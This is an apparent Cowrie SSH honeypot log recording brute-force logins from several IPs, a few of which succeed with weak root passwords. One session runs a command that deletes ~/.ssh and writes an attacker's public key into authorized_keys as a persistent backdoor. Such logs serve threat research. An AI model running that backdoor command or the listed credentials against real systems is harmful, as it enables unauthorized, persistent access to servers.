{"eventid":"cowrie.session.connect","src_ip":"163.245.192.161","src_port":44082,"dst_ip":"159.203.135.109","dst_port":22,"session":"628b9d3f3870","protocol":"ssh","message":"New connection: 163.245.192.161:44082 (159.203.135.109:22) [session: 628b9d3f3870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:53.796626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:53.801201Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:53.844512Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"cloud1234","message":"login attempt [root/cloud1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.051425Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.175632Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.178796Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.182707Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.229367Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.341336Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.343940Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.389571Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.392458Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.192.161","src_port":44090,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e9bdec7de4e","protocol":"ssh","message":"New connection: 163.245.192.161:44090 (159.203.135.109:22) [session: 7e9bdec7de4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.429207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.433181Z","src_ip":"163.245.192.161","session":"7e9bdec7de4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.476881Z","src_ip":"163.245.192.161","session":"7e9bdec7de4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:54.684095Z","src_ip":"163.245.192.161","session":"7e9bdec7de4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:55.730382Z","src_ip":"163.245.192.161","session":"7e9bdec7de4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.245.192.161","src_port":44106,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fc51429d32f","protocol":"ssh","message":"New connection: 163.245.192.161:44106 (159.203.135.109:22) [session: 2fc51429d32f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:55.770181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:55.774708Z","src_ip":"163.245.192.161","session":"2fc51429d32f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:55.817715Z","src_ip":"163.245.192.161","session":"2fc51429d32f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:56.024024Z","src_ip":"163.245.192.161","session":"2fc51429d32f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:56.069284Z","src_ip":"163.245.192.161","session":"628b9d3f3870","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:12:56.072789Z","src_ip":"163.245.192.161","session":"2fc51429d32f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.223.57.48","src_port":50030,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2fb065ae447","protocol":"ssh","message":"New connection: 159.223.57.48:50030 (159.203.135.109:22) [session: c2fb065ae447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:29.509860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:29.513225Z","src_ip":"159.223.57.48","session":"c2fb065ae447","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:29.749838Z","src_ip":"159.223.57.48","session":"c2fb065ae447","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"erp","password":"123456","message":"login attempt [erp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:30.733458Z","src_ip":"159.223.57.48","session":"c2fb065ae447","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:31.974037Z","src_ip":"159.223.57.48","session":"c2fb065ae447","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":47778,"dst_ip":"159.203.135.109","dst_port":22,"session":"1874da9177e3","protocol":"ssh","message":"New connection: 2.57.122.96:47778 (159.203.135.109:22) [session: 1874da9177e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:53.427769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:53.431919Z","src_ip":"2.57.122.96","session":"1874da9177e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:53.532323Z","src_ip":"2.57.122.96","session":"1874da9177e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"root123","message":"login attempt [ubuntu/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:53.936433Z","src_ip":"2.57.122.96","session":"1874da9177e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:13:55.052780Z","src_ip":"2.57.122.96","session":"1874da9177e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"136.248.247.188","src_port":52150,"dst_ip":"159.203.135.109","dst_port":22,"session":"9460792946e5","protocol":"ssh","message":"New connection: 136.248.247.188:52150 (159.203.135.109:22) [session: 9460792946e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:15.088212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:15.091683Z","src_ip":"136.248.247.188","session":"9460792946e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:15.226107Z","src_ip":"136.248.247.188","session":"9460792946e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wei","password":"wei","message":"login attempt [wei/wei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:15.800022Z","src_ip":"136.248.247.188","session":"9460792946e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:16.937497Z","src_ip":"136.248.247.188","session":"9460792946e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":54566,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee641d7c8a58","protocol":"ssh","message":"New connection: 2.57.122.208:54566 (159.203.135.109:22) [session: ee641d7c8a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:22.059627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:22.090187Z","src_ip":"2.57.122.208","session":"ee641d7c8a58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:22.223875Z","src_ip":"2.57.122.208","session":"ee641d7c8a58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"trading","message":"login attempt [trading/trading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:22.911962Z","src_ip":"2.57.122.208","session":"ee641d7c8a58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:24.044239Z","src_ip":"2.57.122.208","session":"ee641d7c8a58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.6.74","src_port":41312,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4ea1107ad25","protocol":"ssh","message":"New connection: 163.7.6.74:41312 (10.17.0.5:22) [session: e4ea1107ad25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:31.335322Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:14:31.340135Z","src_ip":"163.7.6.74","session":"e4ea1107ad25","protocol":"ssh"}
